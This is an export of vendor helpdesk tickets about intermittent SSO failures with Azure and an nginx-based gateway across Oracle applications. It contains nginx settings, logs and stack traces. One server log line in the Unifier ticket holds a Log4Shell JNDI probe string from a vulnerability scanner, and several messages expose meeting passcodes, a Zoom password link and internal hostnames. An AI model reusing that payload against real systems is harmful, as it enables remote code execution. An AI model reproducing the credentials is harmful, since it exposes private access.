Hi Prateek Jain, Please send us an update on ticket 1126. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1126> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

[ticket link above to view or manage your tickets.-->](#)

TICKET DISPLAY ID : 1127

SUBJECT : SSO Error in Unifier "We couldn't sign you in"

PROBLEM DESCRIPTION : Users are getting the error page in Unifier. It comes intermittently. We observed that if we login into the application and keep it idle for 5 to 10 minutes and click on any link in the application to perform activity it goes back to Azure for authentication, but it comes intermittently. It is not reproducible. It gives error message. Please see the attached snapshot for detailed error message and page.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.62

seen\_articles: enterprise\_enabled: false referrer:

<https://support.likemindsconsulting.com/support/tickets>

portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Please find attached Authenion logs.

Hi Anil Dutta, Looks like you are having an issue with Idle timeout, Please send us a meeting invite to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I have sent a meeting invite for today at 8:00 PM IST.

attached SAML trace from the similar issue faced in EBS production environment

We are getting another error message. Please find attached the n/w trace for this error.  
login.microsoftonline.com refused to connect.

This error message came in Authenion server.log file. 2023/08/31 06:40:11 [info] 15285#15285: \*165812 epoll\_wait() reported that client prematurely closed connection, so upstream connection is closed too while sending request to upstream, client: 10.220.216.241, server: dscunifierodev.oci.becpsn.com, request: "GET /webant/js/blank.htm HTTP/1.1", subrequest: "/ssolibrary/tokens/authorizeRequest", upstream: "http://127.0.0.1:8333/ssolibrary/tokens/authorizeRequest?target=dscunifierodev.oci.becpsn.com", host: "dscunifierodev.oci.becpsn.com", referer: "https://dscunifierodev.oci.becpsn.com/bp/sys/studio/form/bp\_page/edit\_content?id=37836&form\_design\_id=form.2&page\_design\_id=page.main.form.2&studio\_id=336&form\_type=main&tab\_id=&\_\_ur ef=uuu685811601t1" 2023/08/31 06:40:18 [info] 15285#15285: \*165862 client closed connection while SSL handshaking, client: 10.220.216.242, server: 0.0.0.0:3001 2023/08/31 06:40:22 [info] 15285#15285: \*165843 client 10.220.216.241 closed keepalive connection

Please let us know what are the timeout variables in NGINX and what is the recommended value for these parameters for production environments. What are others recommended parameters and value in NGINX. Please update the ticket with all information.

Hi Anil Dutta, The following are the only two timeout parameters set in Nginx for the proxy requests.  
proxy\_connect\_timeout - Establishing connection with the proxied server proxy\_send\_timeout - Timeout for transmitting requests to the proxied server Both the the above two timeouts are set to 120minutes in Nginx by default. Please let us know if you have any more questions. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thank you for the information. Please suggest what is `keepalive_timeout` and what is the difference between `proxy_connect_timeout` and `keepalive_timeout`? what should be the recommended value for both in production instance?

Hi Anil Dutta, The `keepalive_timeout` is the maximum time defined at the authenion server to close any open connections. The value is set to 65seconds by default. The `proxy_connect_timeout` is the maximum time set in authenion server to connect with the backend server as mentioned in the previous response. Thats the difference between the above parameters. ? All these values in Authenion are set to default values recommended by the webserver for any environments. ? The changes made to these will be applied to all application connections in Authenion. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

It is not clear about `keepalive_timeout` parameter. which open connections will be closed by `keepalive_timeout`? 1) Connection between Authenion server and application host backend server? 2) Connection between Authenion server and user's client browser?

Hi Anil Dutta, `keepalive_timeout` defines the Connection between Authenion server and user's client browser. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, If the default timeout value is causing any issues for the unifier application, you can override the default values by defining the following parameters in the Unifier's application.conf file.

1. Locate the server block 2. Add the following parameters below the server\_name line ?  
proxy\_read\_timeout 60; proxy\_connect\_timeout 60; proxy\_send\_timeout 60; ? 3. Save the config and restart Authenion services. This config will set the above timeout values specific for Unifier application. Let us know if you have any questions. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We are getting performance issue with Unifier. Application keeps loading page in browser and never finish. This error message comes in browser n/w trace. This is one of the showstopper for unifier Go Live. We have uploaded the n/w trace log. Also uploaded the snapshot of application page load.  
require.js:5 Uncaught Error: Load timeout for modules: /gs/ojet/modules-min/bp-common.js  
<https://requirejs.org/docs/errors.html#timeout> at makeError (require.js:5:1795) at R (require.js:5:7823) at require.js:5:8239

Hi Anil Dutta, Please give us an update on ticket 1127. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

As we discussed with Vikram and Vignesh in last call about the unifier performance issue and nginx attributes. They will discuss internally and provide the recommended value for Unifier in our environment. These are the default value set in aunthneion.conf file. Please check internally with Vikram and provide the recommended value for these attributes. keepalive\_timeout 65;

```
server_names_hash_bucket_size 64; proxy_max_temp_file_size 0; proxy_buffer_size 128k;
proxy_buffers 4 256k; proxy_busy_buffers_size 256k; proxy_headers_hash_max_size 1024;
proxy_headers_hash_bucket_size 128; client_max_body_size 10G; client_body_buffer_size ??
include /home/appuser/authenion-2.0/authenion/config/*.conf; proxy_read_timeout 7200s;
proxy_send_timeout 7200s; proxy_connect_timeout 7200s; proxy_request_buffering off;
```

Hi Anil Dutta, We will check internally and get back to you with the recommended values for these parameters. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, As we have discussed, Please find the recommended values for the parameters:

```
keepalive_timeout 65; server_names_hash_bucket_size 64; proxy_max_temp_file_size 0;
proxy_buffer_size 128k; proxy_buffers 4 256k; proxy_busy_buffers_size 256k;
proxy_headers_hash_max_size 1024; proxy_headers_hash_bucket_size 128;
client_max_body_size 10G; client_body_buffer_size 128k; include
/home/appuser/authenion-2.0/authenion/config/*.conf; proxy_read_timeout 60s; proxy_send_timeout
60s; proxy_connect_timeout 60s; proxy_request_buffering off; Ticket URL -
https://support.likemindsconsulting.com/helpdesk/tickets/1127 Regards, EIK Support Team <-- This
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the
ticket link above to view or manage your tickets.-->
```

Please open the ticket. we are getting different issues in Unifier after Authenion SSO implementation. Please find attached document with error snapshots.

Hi Anil Dutta, We are reopening the ticket as per your request. We will look into it. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Could you please provide the authenion logs and network traces during this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

These error messages are coming in server.log file of Authenion. 2023/09/15 20:38:05 [info] 1177#1177: \*27696 client sent invalid method while reading client request line, client: 10.231.130.75, server: localhost, request: "\$[jndi:ldap://log4shell-generic-nlcZD4C9GI4DHukyshUq\${lower:ten}.w.nessus.org/nessus]" 2023/09/15 20:38:05 [info] 1177#1177: \*27697 client sent invalid method while reading client request line, client: 10.231.130.75, server: unifierodev.oci.becpsn.com, request: "0^L^B^A^A^`G^B^A^C^D^@<80>^@" 2023/09/15 20:38:06 [info] 1177#1177: \*27697 recv() failed (104: Connection reset by peer) while reading client request line, client: 10.231.130.75, server: unifierodev.oci.becpsn.com, request: "0^L^B^A^A^`G^B^A^C^D^@<80>^@" 2023/09/15 20:38:06 [info] 1177#1177: \*27698 client sent invalid method while reading client request line, client: 10.231.130.75, server: localhost, request: "0^L^B^A^A^`G^B^A^C^D^@<80>^@" 2023/09/15 20:38:06 [info] 1177#1177: \*27698 recv() failed (104: Connection reset by peer) while reading client request line, client: 10.231.130.75, server: localhost, request: "0^L^B^A^A^`G^B^A^C^D^@<80>^@"

Hi Anil Dutta, Could you please provide us with the complete authenion- engine logs, server logs and network traces while getting this issue. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

please find attached logs

Hi Anil Dutta, Could you please send a meeting invitation to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

FYI. These are non-reproducible issues. We can't reproduce the issue/error at will. These errors come sporadically.

Hi Anil Dutta, When you encounter an issue, please send a meeting invitation to look into issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

These values did not help and users are getting issue intermittently. `keepalive_timeout 65;`  
`server_names_hash_bucket_size 64;` `proxy_max_temp_file_size 0;` `proxy_buffer_size 128k;`  
`proxy_buffers 4 256k;` `proxy_busy_buffers_size 256k;` `proxy_headers_hash_max_size 1024;`  
`proxy_headers_hash_bucket_size 128;` `client_max_body_size 10G;` `client_body_buffer_size 128k;`  
`include /home/appuser/authenion-2.0/authenion/config/*.conf;` `proxy_read_timeout 60s;`  
`proxy_send_timeout 60s;` `proxy_connect_timeout 60s;` `proxy_request_buffering off;` Please provide the recommended value for production with 2k user concurrency. In the last call with Vikram and



Vignesh about the protected and unprotected URL of Unifier in Authenion. Please check internally with Vikram and provide the recommended configuration which is already working in your existing customer.

Hi Anil Dutta, Sure Anil, we will check and get back to you soon. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, The parameters we gave earlier are the recommended ones. We will still check internally and update for the 2k user concurrency. Regarding the Unifier errors mentioned in this ticket, we see multiple errors reported with screenshots. We need to check whether all these issues are related to the Authenion-nginx parameters or due to any other setup. To assist you better on these issues, we have to prioritize it first and check/resolve one issue at a time. Let us know your availability for a meeting to look into it. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

These are all coming after Authenion SSO configuration. We have never got these errors with Ping SSO. These are not related to any other setup. Also provide the the protected and unprotected URL of Unifier in Authenion. Which is working in your other existing customer?

Hi Anil Dutta, We would definitely assist you with the issues you are facing. As mentioned already, multiple errors are reported with respect to unifier and we would need to collect data specific to that errors for further troubleshooting. Please let us know your availability to look into this. Regarding the

'protected' & 'unprotected' resources for unifier, please keep the same config as you have it in the Ping SSO setup. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

It does not work if we keep same URL in protected and unprotected in Authenion which are set in PingSSO. Application stopped rendering and does not load the page. So we had protected entire "/" but not sure it is Authenion recommended URL. Provide the protected and unprotected URL of Unifier in Authenion. Which is working in your other existing customer.

Hi Anil Dutta, ? We always recommend the Oracle documented resources for any application. Authenion supports the same. For unifier application, please find below the document for protected & unprotected resources:  
([https://docs.oracle.com/cd/F37377\\_01/English/Install\\_and\\_Config/oam/helpmain.htm?toc.htm?99034.htm](https://docs.oracle.com/cd/F37377_01/English/Install_and_Config/oam/helpmain.htm?toc.htm?99034.htm)) ? ?Regarding the data from other customers, We do not hold any config related information. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We have protected the same URLs given the Oracle document shared by you. It did not work. Application page did not load and shown blank page. I have concern here, you should have details and config information with you if you have really implemented this in your existing customer. Please work interannually in your lab and provide the details. Please find attached snapshot and trace n/w file.

Hi Anil Dutta, We have checked the network trace and it looks like the following resources are not

loading. Please add the following resources as excluded resources in Authenion. /studio/\* /webant/\* /gs/\* ? Kindly test Unifier login and please let us know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I am not happy with this support. Please share configuration information from the working unifier instance either from lab environment or document. I don't want to work on hit & trial method here.

Hi Anil Dutta, We will help you with the issues you are facing with Unifier application. We will check internally and get back to you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, The following resources are identified as protected & excluded resources for the unifier application. PROTECTED: /unifier /unifier/ /bluedoor /bluedoor/ /bp/ /m/ EXCLUDED: /studio/ /webant/ /gs/ /unifier\_js/ /upk/ Kindly configure the above resources in Authenion and let us know. Screenshots inline of resources configured in Authenion console and unifier application homepage for your references. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Kindly provide us with an update on 1127. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

[ticket link above to view or manage your tickets.-->](#)

Hi, Users were getting the different errors as given in the document attached in my previous updates. We have changed the configuration and set the protected and unprotected URL as below. PROTECTED: / EXCLUDED: /bp/ /studio/ /webant/ /gs/ /unifier\_js/ /upk/ And update the value of below parameters in authenion.conf. Also disabled the proxy\_buffering. After that we are not getting those errors. We are still monitoring the system. keepalive\_timeout 600; proxy\_buffering off; proxy\_request\_buffering off;

Hi Anil Dutta, Thank you for the update. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the [ticket link above to view or manage your tickets.-->](#)

Hi Anil Dutta, We are reopening Ticket # 1127 upon your request. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the [ticket link above to view or manage your tickets.-->](#)

Hi Anil Dutta, ?Please send us an update on ticket 1127. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the [ticket link above to view or manage your tickets.-->](#)

Hi Anil Dutta, Gentle reminder! Please send us an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, We did not get any response from you on ticket 1127, and we will closing the ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1127> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1128

SUBJECT : EBS We couldnt sign you in. Please try again.

PROBLEM DESCRIPTION : Same as Unifier ticket, users are not able to reach EBS intermittently with the error We couldn't sign you in. Please try again.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, As discussed, please send us meeting invite @ 7:30pm (ist) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1128> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

As discussed in todays meeting (31 Aug 2023 @ 7:30pm (ist), please send us meeting invite @ 7:30pm (ist) on 1 Sep 2023

1.Azure Security update was done prior to this issue (Uma Bolla)

Hi Anil Dutta, Please send us an update on ticket 1128. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1128> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1129

SUBJECT : SSO is not working for Hyperion Smartview

PROBLEM DESCRIPTION : Hi, Users are getting login screen repeatedly after refreshing worksheets in Smartview and they are not able to login . this is critical issue for users as it hampering their work.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, Could you please send us the logs and network trace. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1129> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

There is no trace. Smart view is accessed via excel file.

Hi Anil Dutta, Can you please send us a meeting invite to discuss this issue. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1129> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, For the login screen issue the users see inside the excel sheet, we don't think it is communicating with Authenion at that time. We do not see any embedded browser activity here for SSO login. The excel sheet is still doing the Hyperion native login. Please see in the authenion-engine.log, if any login request is happening for this activity. If captured, please send us the authenion logs. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1129> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please provide an update on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1129> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, We are testing sso in Hyperion workspace and smartview currently. and one requirement is that after timeout at workspace end, users should get redirect to workspace home page directly. Currently after sso, non-sso login screen comes up. Please suggest

Hi Anil Dutta, Please send a network trace and Authenion logs. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1129> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please provide an update on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1129> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Could you please schedule a meeting invitation for tomorrow after 5:00 PM IST if it's convenient? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1129> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please send us an update on ticket 1129. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1129> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Kindly provide us with an update on ticket 1129 Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1129> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1130

SUBJECT : Authenion SSO issue in OTM

PROBLEM DESCRIPTION : We are getting error when we have two nodes Authenion setup and two nodes OTM Application.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)



AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 seen\_articles:  
enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url:  
<https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, Anil, Yes, please send us a meeting invite to discuss this OTM issue. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1130> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please send us an update on ticket 1130. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1130> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

We have applied the OTM patch, testing is going on.

Hi Anil Dutta, Thanks for the update. Please let us know if you face any issue. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1130> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

The issue has been resolved, we can close this ticket.

TICKET DISPLAY ID : 1131

SUBJECT : Question on Certificates Renewal related to LikeMinds and Pingfed

PROBLEM DESCRIPTION : Hi Support, Just wanted to know is there any certificates need to taken care for LikeMind and Pingfed implementation in our prod and non prod environment. Please send us a zoom link so we can get into a call and go over the concerns and questions.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Activision DBA, Please send us a meeting invite to discuss your concerns. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1131> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

<https://atvi.zoom.us/j/92170778616?pwd=SDIDMGRkS1ZtYXBuZUJECWhQNktlZz09>

Please join below link  
<https://atvi.zoom.us/j/92170778616?pwd=SDIDMGRkS1ZtYXBuZUJECWhQNktlZz09>

Requested information on ping federate SSL certificate expiration date.

TICKET DISPLAY ID : 1132

SUBJECT : OIDC\_USER\_NOT\_FOUND\_ERROR found in logs and users are unable to login

PROBLEM DESCRIPTION : We're receiving an error in the logs. It may have started after we upgraded to 2.3.0.3. I am receiving an OK on the heartbeat URL but users are not able to authenticate. We get an error on the EIK page with Reference Code: OIDC-LM-2141 Error found in

```

logs:          2023-07-21T14:14:11.170-0400          INFO          [https-jsse-nio-8443-exec-3]
[com.likeminds.ebsauth.service.AuthService]          Subject          from          OIDC          login          null
2023-07-21T14:14:11.172-0400          ERROR          [https-jsse-nio-8443-exec-3]
[com.likeminds.ebsauth.exception.EikExceptionResolver]          OIDC_USER_NOT_FOUND_ERROR
com.likeminds.ebsauth.exception.AuthException:          OIDC_USER_NOT_FOUND_ERROR          at
com.likeminds.ebsauth.controller.AuthClientController.doHandler(AuthClientController.java:132)
~[classes/:2.3.0.3] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_281]
*****          2023-07-24T09:36:36.322-0400          DEBUG          [https-jsse-nio-8443-exec-1]
[com.likeminds.ebsauth.service.AuthService]          Status          Code          from          OIDC          provider:          200
2023-07-24T09:36:36.322-0400          DEBUG          [https-jsse-nio-8443-exec-1]
[com.likeminds.ebsauth.service.AuthService]          Status          Message          from          OIDC          provider:          OK
2023-07-24T09:36:36.422-0400          WARN          [https-jsse-nio-8443-exec-1]
[com.likeminds.ebsauth.service.AuthService] No UserInfo Endpoint specified, Disabling claims
search          2023-07-24T09:36:36.422-0400          WARN          [https-jsse-nio-8443-exec-1]
[com.likeminds.ebsauth.service.AuthService]          Unable          to          parse          userInfo          Claims
com.nimbusds.oauth2.sdk.ParseException: The JSON string must not be null at
com.nimbusds.oauth2.sdk.util.JSONUtils.parseJSON(JSONUtils.java:54)
~[oauth2-oidc-sdk-9.35.jar:9.35]

SOLUTION CONVERSATION : user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.203
seen_articles:          "[\"48001239442\"]"          enterprise_enabled:          false          referrer:
https://likemindsconsultinghelp.freshdesk.com/support/tickets/1112          portal_url:
https://likemindsconsultinghelp.freshdesk.com/support/tickets/new

```

Hi Carla Chan, Please send us a meeting invite to look into the issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1132> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Please provide an update on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1132> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Email invitation has also been sent Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 233 403 562 133 Passcode: 5oL2Jd

Hi Carla Chan, Sure, We will be joining. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1132> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Issue resolved. Needed to update EIK.config file with 4 new lines in 2.3.0.3 version

TICKET DISPLAY ID : 1133

SUBJECT : The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

PROBLEM DESCRIPTION : After configuration of Authenion for supplier portal (ebsouat1sup.oci.becpsn.com), while trying to access we are getting below error "The resource you are looking for has been removed, had its name changed, or is temporarily unavailable. "

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.31

seen\_articles: enterprise\_enabled: false referrer:  
https://support.likemindsconsulting.com/support/tickets/1124 portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Hi Anil Dutta, Please send us a meeting invite to look into it. Ticket URL -  
https://support.likemindsconsulting.com/helpdesk/tickets/1133 Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Please join at 4:30 PM IST Microsoft Teams meeting Join on your computer, mobile app or room  
device Click here to join the meeting Meeting ID: 233 714 568 706 Passcode: vvjW7o Download  
Teams | Join on the web Join with a video conferencing device 283820108@bechtel.com Video  
Conference ID: 112 382 836 6 Alternate VTC instructions Or call in (audio only) +1  
469-373-4740,,17662345# United States, Dallas Phone Conference ID: 176 623 45# Find a local  
number | Reset PIN Learn More | Meeting options

Hi Anil Dutta, Ok, Noted!. Ticket URL -  
https://support.likemindsconsulting.com/helpdesk/tickets/1133 Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Hi Anil Dutta, As we discussed during today's call, the authentication claims are missing from the  
tokens sent by Azure. Once the Azure team addresses this issue, please let us know. Ticket URL -  
https://support.likemindsconsulting.com/helpdesk/tickets/1133 Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

Issue resolved. please close the ticket.

TICKET DISPLAY ID : 1134

SUBJECT : Agile JavaClient unable to launch

PROBLEM DESCRIPTION : Hi Team , We have implemented SSO in Agile UAT application but users are not able to launch the JavaClient application. Getting following errors:

om.sun.deploy.net.FailedDownloadException: Unable to load resource:  
https://agileouat.oci.becpsn.com/JavaClient/wls/ext.jnlp at  
com.sun.deploy.net.DownloadEngine.actionDownload(Unknown Source) at  
com.sun.deploy.net.DownloadEngine.downloadResource(Unknown Source) at  
com.sun.deploy.cache.ResourceProviderImpl.getResource(Unknown Source) at  
com.sun.deploy.cache.ResourceProviderImpl.getJreResource(Unknown Source) at  
com.sun.javaws.LaunchDownload.\_downloadExtensionsHelper(Unknown Source) at  
com.sun.javaws.LaunchDownload.downloadExtensionsHelper(Unknown Source) at  
com.sun.javaws.LaunchDownload.downloadExtensions(Unknown Source) at  
com.sun.javaws.Launcher.prepareLaunchFile(Unknown Source) at  
com.sun.javaws.Launcher.prepareAllResources(Unknown Source) at  
com.sun.javaws.Launcher.prepareToLaunch(Unknown Source) at  
com.sun.javaws.Launcher.prepareToLaunch(Unknown Source) at  
com.sun.javaws.Launcher.launch(Unknown Source) at com.sun.javaws.Main.launchApp(Unknown Source) at com.sun.javaws.Main.continueInSecureThread(Unknown Source) at  
com.sun.javaws.Main.access\$000(Unknown Source) at com.sun.javaws.Main\$1.run(Unknown Source) at java.lang.Thread.run(Unknown Source) Exception Errors: java.io.IOException: Server

returned HTTP response code: 400 for URL:  
https://becpsnb2c.b2clogin.com/becpsnb2c.onmicrosoft.com/oauth2/v2.0/authorize?p=b2c\_1a\_sign  
up\_signin\_jwt\_bec\_bpaprod\_only&client\_id=33f69b6d-eed2-4055-968c-0ca18ba727d4&response\_t  
